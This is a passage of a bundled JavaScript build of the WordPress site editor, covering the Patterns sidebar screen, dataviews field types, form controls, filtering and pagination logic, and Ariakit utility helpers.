  useLocation: sidebar_navigation_screen_patterns_useLocation
} = unlock(external_wp_router_namespaceObject.privateApis);
function CategoriesGroup({
  templatePartAreas,
  patternCategories,
  currentCategory,
  currentType
}) {
  const [allPatterns, ...otherPatterns] = patternCategories;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, {
    className: "edit-site-sidebar-navigation-screen-patterns__group",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoryItem, {
      count: Object.values(templatePartAreas).map(({
        templateParts
      }) => templateParts?.length || 0).reduce((acc, val) => acc + val, 0),
      icon: (0,external_wp_editor_namespaceObject.getTemplatePartIcon)() /* no name, so it provides the fallback icon */,
      label: (0,external_wp_i18n_namespaceObject.__)('All template parts'),
      id: TEMPLATE_PART_ALL_AREAS_CATEGORY,
      type: TEMPLATE_PART_POST_TYPE,
      isActive: currentCategory === TEMPLATE_PART_ALL_AREAS_CATEGORY && currentType === TEMPLATE_PART_POST_TYPE
    }, "all"), Object.entries(templatePartAreas).map(([area, {
      label,
      templateParts
    }]) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoryItem, {
      count: templateParts?.length,
      icon: (0,external_wp_editor_namespaceObject.getTemplatePartIcon)(area),
      label: label,
      id: area,
      type: TEMPLATE_PART_POST_TYPE,
      isActive: currentCategory === area && currentType === TEMPLATE_PART_POST_TYPE
    }, area)), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "edit-site-sidebar-navigation-screen-patterns__divider"
    }), allPatterns && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoryItem, {
      count: allPatterns.count,
      label: allPatterns.label,
      icon: library_file,
      id: allPatterns.name,
      type: PATTERN_TYPES.user,
      isActive: currentCategory === `${allPatterns.name}` && currentType === PATTERN_TYPES.user
    }, allPatterns.name), otherPatterns.map(category => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoryItem, {
      count: category.count,
      label: category.label,
      icon: library_file,
      id: category.name,
      type: PATTERN_TYPES.user,
      isActive: currentCategory === `${category.name}` && currentType === PATTERN_TYPES.user
    }, category.name))]
  });
}
function SidebarNavigationScreenPatterns({
  backPath
}) {
  const {
    query: {
      postType = 'wp_block',
      categoryId
    }
  } = sidebar_navigation_screen_patterns_useLocation();
  const currentCategory = categoryId || (postType === PATTERN_TYPES.user ? PATTERN_DEFAULT_CATEGORY : TEMPLATE_PART_ALL_AREAS_CATEGORY);
  const {
    templatePartAreas,
    hasTemplateParts,
    isLoading
  } = useTemplatePartAreas();
  const {
    patternCategories,
    hasPatterns
  } = usePatternCategories();
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(SidebarNavigationScreen, {
    title: (0,external_wp_i18n_namespaceObject.__)('Patterns'),
    description: (0,external_wp_i18n_namespaceObject.__)('Manage what patterns are available when editing the site.'),
    isRoot: !backPath,
    backPath: backPath,
    content: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [isLoading && (0,external_wp_i18n_namespaceObject.__)('Loading items…'), !isLoading && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
        children: [!hasTemplateParts && !hasPatterns && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, {
          className: "edit-site-sidebar-navigation-screen-patterns__group",
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, {
            children: (0,external_wp_i18n_namespaceObject.__)('No items found')
          })
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CategoriesGroup, {
          templatePartAreas: templatePartAreas,
          patternCategories: patternCategories,
          currentCategory: currentCategory,
          currentType: postType
        })]
      })]
    })
  });
}

// EXTERNAL MODULE: ./node_modules/remove-accents/index.js
var remove_accents = __webpack_require__(9681);
var remove_accents_default = /*#__PURE__*/__webpack_require__.n(remove_accents);
;// ./node_modules/@wordpress/icons/build-module/library/arrow-up.js
/**
 * WordPress dependencies
 */


const arrowUp = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M12 3.9 6.5 9.5l1 1 3.8-3.7V20h1.5V6.8l3.7 3.7 1-1z"
  })
});
/* harmony default export */ const arrow_up = (arrowUp);

;// ./node_modules/@wordpress/icons/build-module/library/arrow-down.js
/**
 * WordPress dependencies
 */


const arrowDown = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z"
  })
});
/* harmony default export */ const arrow_down = (arrowDown);

;// ./node_modules/@wordpress/dataviews/build-module/constants.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

// Filter operators.
const constants_OPERATOR_IS = 'is';
const constants_OPERATOR_IS_NOT = 'isNot';
const constants_OPERATOR_IS_ANY = 'isAny';
const constants_OPERATOR_IS_NONE = 'isNone';
const OPERATOR_IS_ALL = 'isAll';
const OPERATOR_IS_NOT_ALL = 'isNotAll';
const ALL_OPERATORS = [constants_OPERATOR_IS, constants_OPERATOR_IS_NOT, constants_OPERATOR_IS_ANY, constants_OPERATOR_IS_NONE, OPERATOR_IS_ALL, OPERATOR_IS_NOT_ALL];
const OPERATORS = {
  [constants_OPERATOR_IS]: {
    key: 'is-filter',
    label: (0,external_wp_i18n_namespaceObject.__)('Is')
  },
  [constants_OPERATOR_IS_NOT]: {
    key: 'is-not-filter',
    label: (0,external_wp_i18n_namespaceObject.__)('Is not')
  },
  [constants_OPERATOR_IS_ANY]: {
    key: 'is-any-filter',
    label: (0,external_wp_i18n_namespaceObject.__)('Is any')
  },
  [constants_OPERATOR_IS_NONE]: {
    key: 'is-none-filter',
    label: (0,external_wp_i18n_namespaceObject.__)('Is none')
  },
  [OPERATOR_IS_ALL]: {
    key: 'is-all-filter',
    label: (0,external_wp_i18n_namespaceObject.__)('Is all')
  },
  [OPERATOR_IS_NOT_ALL]: {
    key: 'is-not-all-filter',
    label: (0,external_wp_i18n_namespaceObject.__)('Is not all')
  }
};
const SORTING_DIRECTIONS = ['asc', 'desc'];
const sortArrows = {
  asc: '↑',
  desc: '↓'
};
const sortValues = {
  asc: 'ascending',
  desc: 'descending'
};
const sortLabels = {
  asc: (0,external_wp_i18n_namespaceObject.__)('Sort ascending'),
  desc: (0,external_wp_i18n_namespaceObject.__)('Sort descending')
};
const sortIcons = {
  asc: arrow_up,
  desc: arrow_down
};

// View layouts.
const constants_LAYOUT_TABLE = 'table';
const constants_LAYOUT_GRID = 'grid';
const constants_LAYOUT_LIST = 'list';

;// ./node_modules/@wordpress/dataviews/build-module/field-types/integer.js
/**
 * Internal dependencies
 */

function sort(a, b, direction) {
  return direction === 'asc' ? a - b : b - a;
}
function isValid(value, context) {
  // TODO: this implicitly means the value is required.
  if (value === '') {
    return false;
  }
  if (!Number.isInteger(Number(value))) {
    return false;
  }
  if (context?.elements) {
    const validValues = context?.elements.map(f => f.value);
    if (!validValues.includes(Number(value))) {
      return false;
    }
  }
  return true;
}
/* harmony default export */ const integer = ({
  sort,
  isValid,
  Edit: 'integer'
});

;// ./node_modules/@wordpress/dataviews/build-module/field-types/text.js
/**
 * Internal dependencies
 */

function text_sort(valueA, valueB, direction) {
  return direction === 'asc' ? valueA.localeCompare(valueB) : valueB.localeCompare(valueA);
}
function text_isValid(value, context) {
  if (context?.elements) {
    const validValues = context?.elements?.map(f => f.value);
    if (!validValues.includes(value)) {
      return false;
    }
  }
  return true;
}
/* harmony default export */ const field_types_text = ({
  sort: text_sort,
  isValid: text_isValid,
  Edit: 'text'
});

;// ./node_modules/@wordpress/dataviews/build-module/field-types/datetime.js
/**
 * Internal dependencies
 */

function datetime_sort(a, b, direction) {
  const timeA = new Date(a).getTime();
  const timeB = new Date(b).getTime();
  return direction === 'asc' ? timeA - timeB : timeB - timeA;
}
function datetime_isValid(value, context) {
  if (context?.elements) {
    const validValues = context?.elements.map(f => f.value);
    if (!validValues.includes(value)) {
      return false;
    }
  }
  return true;
}
/* harmony default export */ const datetime = ({
  sort: datetime_sort,
  isValid: datetime_isValid,
  Edit: 'datetime'
});

;// ./node_modules/@wordpress/dataviews/build-module/field-types/index.js
/**
 * Internal dependencies
 */





/**
 *
 * @param {FieldType} type The field type definition to get.
 *
 * @return A field type definition.
 */
function getFieldTypeDefinition(type) {
  if ('integer' === type) {
    return integer;
  }
  if ('text' === type) {
    return field_types_text;
  }
  if ('datetime' === type) {
    return datetime;
  }
  return {
    sort: (a, b, direction) => {
      if (typeof a === 'number' && typeof b === 'number') {
        return direction === 'asc' ? a - b : b - a;
      }
      return direction === 'asc' ? a.localeCompare(b) : b.localeCompare(a);
    },
    isValid: (value, context) => {
      if (context?.elements) {
        const validValues = context?.elements?.map(f => f.value);
        if (!validValues.includes(value)) {
          return false;
        }
      }
      return true;
    },
    Edit: () => null
  };
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/datetime.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function DateTime({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  const {
    id,
    label
  } = field;
  const value = field.getValue({
    item: data
  });
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", {
    className: "dataviews-controls__datetime",
    children: [!hideLabelFromVision && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
      as: "legend",
      children: label
    }), hideLabelFromVision && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
      as: "legend",
      children: label
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TimePicker, {
      currentTime: value,
      onChange: onChangeControl,
      hideLabelFromVision: true
    })]
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/integer.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function Integer({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  var _field$getValue;
  const {
    id,
    label,
    description
  } = field;
  const value = (_field$getValue = field.getValue({
    item: data
  })) !== null && _field$getValue !== void 0 ? _field$getValue : '';
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: Number(newValue)
  }), [id, onChange]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalNumberControl, {
    label: label,
    help: description,
    value: value,
    onChange: onChangeControl,
    __next40pxDefaultSize: true,
    hideLabelFromVision: hideLabelFromVision
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/radio.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function Radio({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  const {
    id,
    label
  } = field;
  const value = field.getValue({
    item: data
  });
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  if (field.elements) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.RadioControl, {
      label: label,
      onChange: onChangeControl,
      options: field.elements,
      selected: value,
      hideLabelFromVision: hideLabelFromVision
    });
  }
  return null;
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/select.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */

function Select({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  var _field$getValue, _field$elements;
  const {
    id,
    label
  } = field;
  const value = (_field$getValue = field.getValue({
    item: data
  })) !== null && _field$getValue !== void 0 ? _field$getValue : '';
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  const elements = [
  /*
   * Value can be undefined when:
   *
   * - the field is not required
   * - in bulk editing
   *
   */
  {
    label: (0,external_wp_i18n_namespaceObject.__)('Select item'),
    value: ''
  }, ...((_field$elements = field?.elements) !== null && _field$elements !== void 0 ? _field$elements : [])];
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SelectControl, {
    label: label,
    value: value,
    options: elements,
    onChange: onChangeControl,
    __next40pxDefaultSize: true,
    __nextHasNoMarginBottom: true,
    hideLabelFromVision: hideLabelFromVision
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/text.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function Text({
  data,
  field,
  onChange,
  hideLabelFromVision
}) {
  const {
    id,
    label,
    placeholder
  } = field;
  const value = field.getValue({
    item: data
  });
  const onChangeControl = (0,external_wp_element_namespaceObject.useCallback)(newValue => onChange({
    [id]: newValue
  }), [id, onChange]);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
    label: label,
    placeholder: placeholder,
    value: value !== null && value !== void 0 ? value : '',
    onChange: onChangeControl,
    __next40pxDefaultSize: true,
    __nextHasNoMarginBottom: true,
    hideLabelFromVision: hideLabelFromVision
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/dataform-controls/index.js
/**
 * External dependencies
 */

/**
 * Internal dependencies
 */






const FORM_CONTROLS = {
  datetime: DateTime,
  integer: Integer,
  radio: Radio,
  select: Select,
  text: Text
};
function getControl(field, fieldTypeDefinition) {
  if (typeof field.Edit === 'function') {
    return field.Edit;
  }
  if (typeof field.Edit === 'string') {
    return getControlByType(field.Edit);
  }
  if (field.elements) {
    return getControlByType('select');
  }
  if (typeof fieldTypeDefinition.Edit === 'string') {
    return getControlByType(fieldTypeDefinition.Edit);
  }
  return fieldTypeDefinition.Edit;
}
function getControlByType(type) {
  if (Object.keys(FORM_CONTROLS).includes(type)) {
    return FORM_CONTROLS[type];
  }
  throw 'Control ' + type + ' not found';
}

;// ./node_modules/@wordpress/dataviews/build-module/normalize-fields.js
/**
 * Internal dependencies
 */


const getValueFromId = id => ({
  item
}) => {
  const path = id.split('.');
  let value = item;
  for (const segment of path) {
    if (value.hasOwnProperty(segment)) {
      value = value[segment];
    } else {
      value = undefined;
    }
  }
  return value;
};

/**
 * Apply default values and normalize the fields config.
 *
 * @param fields Fields config.
 * @return Normalized fields config.
 */
function normalizeFields(fields) {
  return fields.map(field => {
    var _field$sort, _field$isValid, _field$enableHiding, _field$enableSorting;
    const fieldTypeDefinition = getFieldTypeDefinition(field.type);
    const getValue = field.getValue || getValueFromId(field.id);
    const sort = (_field$sort = field.sort) !== null && _field$sort !== void 0 ? _field$sort : function sort(a, b, direction) {
      return fieldTypeDefinition.sort(getValue({
        item: a
      }), getValue({
        item: b
      }), direction);
    };
    const isValid = (_field$isValid = field.isValid) !== null && _field$isValid !== void 0 ? _field$isValid : function isValid(item, context) {
      return fieldTypeDefinition.isValid(getValue({
        item
      }), context);
    };
    const Edit = getControl(field, fieldTypeDefinition);
    const renderFromElements = ({
      item
    }) => {
      const value = getValue({
        item
      });
      return field?.elements?.find(element => element.value === value)?.label || getValue({
        item
      });
    };
    const render = field.render || (field.elements ? renderFromElements : getValue);
    return {
      ...field,
      label: field.label || field.id,
      header: field.header || field.label || field.id,
      getValue,
      render,
      sort,
      isValid,
      Edit,
      enableHiding: (_field$enableHiding = field.enableHiding) !== null && _field$enableHiding !== void 0 ? _field$enableHiding : true,
      enableSorting: (_field$enableSorting = field.enableSorting) !== null && _field$enableSorting !== void 0 ? _field$enableSorting : true
    };
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/filter-and-sort-data-view.js
/**
 * External dependencies
 */


/**
 * Internal dependencies
 */


function normalizeSearchInput(input = '') {
  return remove_accents_default()(input.trim().toLowerCase());
}
const filter_and_sort_data_view_EMPTY_ARRAY = [];

/**
 * Applies the filtering, sorting and pagination to the raw data based on the view configuration.
 *
 * @param data   Raw data.
 * @param view   View config.
 * @param fields Fields config.
 *
 * @return Filtered, sorted and paginated data.
 */
function filterSortAndPaginate(data, view, fields) {
  if (!data) {
    return {
      data: filter_and_sort_data_view_EMPTY_ARRAY,
      paginationInfo: {
        totalItems: 0,
        totalPages: 0
      }
    };
  }
  const _fields = normalizeFields(fields);
  let filteredData = [...data];
  // Handle global search.
  if (view.search) {
    const normalizedSearch = normalizeSearchInput(view.search);
    filteredData = filteredData.filter(item => {
      return _fields.filter(field => field.enableGlobalSearch).map(field => {
        return normalizeSearchInput(field.getValue({
          item
        }));
      }).some(field => field.includes(normalizedSearch));
    });
  }
  if (view.filters && view.filters?.length > 0) {
    view.filters.forEach(filter => {
      const field = _fields.find(_field => _field.id === filter.field);
      if (field) {
        if (filter.operator === constants_OPERATOR_IS_ANY && filter?.value?.length > 0) {
          filteredData = filteredData.filter(item => {
            const fieldValue = field.getValue({
              item
            });
            if (Array.isArray(fieldValue)) {
              return filter.value.some(filterValue => fieldValue.includes(filterValue));
            } else if (typeof fieldValue === 'string') {
              return filter.value.includes(fieldValue);
            }
            return false;
          });
        } else if (filter.operator === constants_OPERATOR_IS_NONE && filter?.value?.length > 0) {
          filteredData = filteredData.filter(item => {
            const fieldValue = field.getValue({
              item
            });
            if (Array.isArray(fieldValue)) {
              return !filter.value.some(filterValue => fieldValue.includes(filterValue));
            } else if (typeof fieldValue === 'string') {
              return !filter.value.includes(fieldValue);
            }
            return false;
          });
        } else if (filter.operator === OPERATOR_IS_ALL && filter?.value?.length > 0) {
          filteredData = filteredData.filter(item => {
            return filter.value.every(value => {
              return field.getValue({
                item
              })?.includes(value);
            });
          });
        } else if (filter.operator === OPERATOR_IS_NOT_ALL && filter?.value?.length > 0) {
          filteredData = filteredData.filter(item => {
            return filter.value.every(value => {
              return !field.getValue({
                item
              })?.includes(value);
            });
          });
        } else if (filter.operator === constants_OPERATOR_IS) {
          filteredData = filteredData.filter(item => {
            return filter.value === field.getValue({
              item
            });
          });
        } else if (filter.operator === constants_OPERATOR_IS_NOT) {
          filteredData = filteredData.filter(item => {
            return filter.value !== field.getValue({
              item
            });
          });
        }
      }
    });
  }

  // Handle sorting.
  if (view.sort) {
    const fieldId = view.sort.field;
    const fieldToSort = _fields.find(field => {
      return field.id === fieldId;
    });
    if (fieldToSort) {
      filteredData.sort((a, b) => {
        var _view$sort$direction;
        return fieldToSort.sort(a, b, (_view$sort$direction = view.sort?.direction) !== null && _view$sort$direction !== void 0 ? _view$sort$direction : 'desc');
      });
    }
  }

  // Handle pagination.
  let totalItems = filteredData.length;
  let totalPages = 1;
  if (view.page !== undefined && view.perPage !== undefined) {
    const start = (view.page - 1) * view.perPage;
    totalItems = filteredData?.length || 0;
    totalPages = Math.ceil(totalItems / view.perPage);
    filteredData = filteredData?.slice(start, start + view.perPage);
  }
  return {
    data: filteredData,
    paginationInfo: {
      totalItems,
      totalPages
    }
  };
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-context/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


const DataViewsContext = (0,external_wp_element_namespaceObject.createContext)({
  view: {
    type: constants_LAYOUT_TABLE
  },
  onChangeView: () => {},
  fields: [],
  data: [],
  paginationInfo: {
    totalItems: 0,
    totalPages: 0
  },
  selection: [],
  onChangeSelection: () => {},
  setOpenedFilter: () => {},
  openedFilter: null,
  getItemId: item => item.id,
  isItemClickable: () => true,
  containerWidth: 0
});
/* harmony default export */ const dataviews_context = (DataViewsContext);

;// ./node_modules/@wordpress/icons/build-module/library/funnel.js
/**
 * WordPress dependencies
 */


const funnel = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M10 17.5H14V16H10V17.5ZM6 6V7.5H18V6H6ZM8 12.5H16V11H8V12.5Z"
  })
});
/* harmony default export */ const library_funnel = (funnel);

;// ./node_modules/@ariakit/react-core/esm/__chunks/3YLGPPWQ.js
"use client";
var __defProp = Object.defineProperty;
var __defProps = Object.defineProperties;
var __getOwnPropDescs = Object.getOwnPropertyDescriptors;
var __getOwnPropSymbols = Object.getOwnPropertySymbols;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __propIsEnum = Object.prototype.propertyIsEnumerable;
var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
var _3YLGPPWQ_spreadValues = (a, b) => {
  for (var prop in b || (b = {}))
    if (__hasOwnProp.call(b, prop))
      __defNormalProp(a, prop, b[prop]);
  if (__getOwnPropSymbols)
    for (var prop of __getOwnPropSymbols(b)) {
      if (__propIsEnum.call(b, prop))
        __defNormalProp(a, prop, b[prop]);
    }
  return a;
};
var _3YLGPPWQ_spreadProps = (a, b) => __defProps(a, __getOwnPropDescs(b));
var __objRest = (source, exclude) => {
  var target = {};
  for (var prop in source)
    if (__hasOwnProp.call(source, prop) && exclude.indexOf(prop) < 0)
      target[prop] = source[prop];
  if (source != null && __getOwnPropSymbols)
    for (var prop of __getOwnPropSymbols(source)) {
      if (exclude.indexOf(prop) < 0 && __propIsEnum.call(source, prop))
        target[prop] = source[prop];
    }
  return target;
};



;// ./node_modules/@ariakit/core/esm/__chunks/3YLGPPWQ.js
"use client";
var _3YLGPPWQ_defProp = Object.defineProperty;
var _3YLGPPWQ_defProps = Object.defineProperties;
var _3YLGPPWQ_getOwnPropDescs = Object.getOwnPropertyDescriptors;
var _3YLGPPWQ_getOwnPropSymbols = Object.getOwnPropertySymbols;
var _3YLGPPWQ_hasOwnProp = Object.prototype.hasOwnProperty;
var _3YLGPPWQ_propIsEnum = Object.prototype.propertyIsEnumerable;
var _3YLGPPWQ_defNormalProp = (obj, key, value) => key in obj ? _3YLGPPWQ_defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value;
var _chunks_3YLGPPWQ_spreadValues = (a, b) => {
  for (var prop in b || (b = {}))
    if (_3YLGPPWQ_hasOwnProp.call(b, prop))
      _3YLGPPWQ_defNormalProp(a, prop, b[prop]);
  if (_3YLGPPWQ_getOwnPropSymbols)
    for (var prop of _3YLGPPWQ_getOwnPropSymbols(b)) {
      if (_3YLGPPWQ_propIsEnum.call(b, prop))
        _3YLGPPWQ_defNormalProp(a, prop, b[prop]);
    }
  return a;
};
var _chunks_3YLGPPWQ_spreadProps = (a, b) => _3YLGPPWQ_defProps(a, _3YLGPPWQ_getOwnPropDescs(b));
var _3YLGPPWQ_objRest = (source, exclude) => {
  var target = {};
  for (var prop in source)
    if (_3YLGPPWQ_hasOwnProp.call(source, prop) && exclude.indexOf(prop) < 0)
      target[prop] = source[prop];
  if (source != null && _3YLGPPWQ_getOwnPropSymbols)
    for (var prop of _3YLGPPWQ_getOwnPropSymbols(source)) {
      if (exclude.indexOf(prop) < 0 && _3YLGPPWQ_propIsEnum.call(source, prop))
        target[prop] = source[prop];
    }
  return target;
};



;// ./node_modules/@ariakit/core/esm/__chunks/PBFD2E7P.js
"use client";


// src/utils/misc.ts
function PBFD2E7P_noop(..._) {
}
function shallowEqual(a, b) {
  if (a === b) return true;
  if (!a) return false;
  if (!b) return false;
  if (typeof a !== "object") return false;
  if (typeof b !== "object") return false;
  const aKeys = Object.keys(a);
  const bKeys = Object.keys(b);
  const { length } = aKeys;
  if (bKeys.length !== length) return false;
  for (const key of aKeys) {
    if (a[key] !== b[key]) {
      return false;
    }
  }
  return true;
}
function applyState(argument, currentValue) {
  if (isUpdater(argument)) {
    const value = isLazyValue(currentValue) ? currentValue() : currentValue;
    return argument(value);
  }
  return argument;
}
function isUpdater(argument) {
  return typeof argument === "function";
}
function isLazyValue(value) {
  return typeof value === "function";
}
function isObject(arg) {
  return typeof arg === "object" && arg != null;
}
function isEmpty(arg) {
  if (Array.isArray(arg)) return !arg.length;
  if (isObject(arg)) return !Object.keys(arg).length;
  if (arg == null) return true;
  if (arg === "") return true;
  return false;
}
function isInteger(arg) {
  if (typeof arg === "number") {
    return Math.floor(arg) === arg;
  }
  return String(Math.floor(Number(arg))) === arg;
}
function PBFD2E7P_hasOwnProperty(object, prop) {
  if (typeof Object.hasOwn === "function") {
    return Object.hasOwn(object, prop);
  }
  return Object.prototype.hasOwnProperty.call(object, prop);
}
function chain(...fns) {
  return (...args) => {
    for (const fn of fns) {
      if (typeof fn === "function") {
        fn(...args);
      }
    }
  };
}
function cx(...args) {
  return args.filter(Boolean).join(" ") || void 0;
}
function PBFD2E7P_normalizeString(str) {
  return str.normalize("NFD").replace(/[\u0300-\u036f]/g, "");
}
function omit(object, keys) {
  const result = _chunks_3YLGPPWQ_spreadValues({}, object);
  for (const key of keys) {
    if (PBFD2E7P_hasOwnProperty(result, key)) {
      delete result[key];
    }
  }
  return result;
}
function pick(object, paths) {
  const result = {};
  for (const key of paths) {
    if (PBFD2E7P_hasOwnProperty(object, key)) {
      result[key] = object[key];
    }
  }
  return result;
}
function identity(value) {
  return value;
}
function beforePaint(cb = PBFD2E7P_noop) {
  const raf = requestAnimationFrame(cb);
  return () => cancelAnimationFrame(raf);
}
function afterPaint(cb = PBFD2E7P_noop) {
  let raf = requestAnimationFrame(() => {
    raf = requestAnimationFrame(cb);
  });
  return () => cancelAnimationFrame(raf);
}
function invariant(condition, message) {
  if (condition) return;
  if (typeof message !== "string") throw new Error("Invariant failed");
  throw new Error(message);
}
function getKeys(obj) {
  return Object.keys(obj);
}
function isFalsyBooleanCallback(booleanOrCallback, ...args) {
  const result = typeof booleanOrCallback === "function" ? booleanOrCallback(...args) : booleanOrCallback;
  if (result == null) return false;
  return !result;
}
function disabledFromProps(props) {
  return props.disabled || props["aria-disabled"] === true || props["aria-disabled"] === "true";
}
function removeUndefinedValues(obj) {
  const result = {};
  for (const key in obj) {
    if (obj[key] !== void 0) {
      result[key] = obj[key];
    }
  }
  return result;
}
function defaultValue(...values) {
  for (const value of values) {
    if (value !== void 0) return value;
  }
  return void 0;
}



;// ./node_modules/@ariakit/react-core/esm/__chunks/SK3NAZA3.js
"use client";


// src/utils/misc.ts


function setRef(ref, value) {
  if (typeof ref === "function") {
    ref(value);
  } else if (ref) {
    ref.current = value;
  }
}
function isValidElementWithRef(element) {
  if (!element) return false;
  if (!(0,external_React_.isValidElement)(element)) return false;
  if ("ref" in element.props) return true;
  if ("ref" in element) return true;
  return false;
}
function getRefProperty(element) {
  if (!isValidElementWithRef(element)) return null;
  const props = _3YLGPPWQ_spreadValues({}, element.props);
  return props.ref || element.ref;
}
function mergeProps(base, overrides) {
  const props = _3YLGPPWQ_spreadValues({}, base);
  for (const key in overrides) {
    if (!PBFD2E7P_hasOwnProperty(overrides, key)) continue;
    if (key === "className") {
      const prop = "className";
      props[prop] = base[prop] ? `${base[prop]} ${overrides[prop]}` : overrides[prop];
      continue;
    }
    if (key === "style") {
      const prop = "style";
      props[prop] = base[prop] ? _3YLGPPWQ_spreadValues(_3YLGPPWQ_spreadValues({}, base[prop]), overrides[prop]) : overrides[prop];
      continue;
    }
    const overrideValue = overrides[key];
    if (typeof overrideValue === "function" && key.startsWith("on")) {
      const baseValue = base[key];
      if (typeof baseValue === "function") {
        props[key] = (...args) => {
          overrideValue(...args);
          baseValue(...args);
        };
        continue;
      }
    }
    props[key] = overrideValue;
  }
  return props;
}



;// ./node_modules/@ariakit/core/esm/__chunks/DTR5TSDJ.js
"use client";

// src/utils/dom.ts
var DTR5TSDJ_canUseDOM = checkIsBrowser();
function checkIsBrowser() {
  var _a;
  return typeof window !== "undefined" && !!((_a = window.document) == null ? void 0 : _a.createElement);
}
function getDocument(node) {
  if (!node) return document;
  if ("self" in node) return node.document;
  return node.ownerDocument || document;
}
function getWindow(node) {
  if (!node) return self;
  if ("self" in node) return node.self;
  return getDocument(node).defaultView || window;
}
function DTR5TSDJ_getActiveElement(node, activeDescendant = false) {
  const { activeElement } = getDocument(node);
  if (!(activeElement == null ? void 0 : activeElement.nodeName)) {
    return null;
  }
  if (DTR5TSDJ_isFrame(activeElement) && activeElement.contentDocument) {
    return DTR5TSDJ_getActiveElement(
      activeElement.contentDocument.body,
      activeDescendant
    );
  }
  if (activeDescendant) {
    const id = activeElement.getAttribute("aria-activedescendant");
    if (id) {
      const element = getDocument(activeElement).getElementById(id);
      if (element) {
        return element;
      }
    }
  }
  return activeElement;
}
function contains(parent, child) {
  return parent === child || parent.contains(child);
}
function DTR5TSDJ_isFrame(element) {
  return element.tagName === "IFRAME";
}
function isButton(element) {
  const tagName = element.tagName.toLowerCase();
  if (tagName === "button") return true;
  if (tagName === "input" && element.type) {
    return buttonInputTypes.indexOf(element.type) !== -1;
  }
  return false;
}
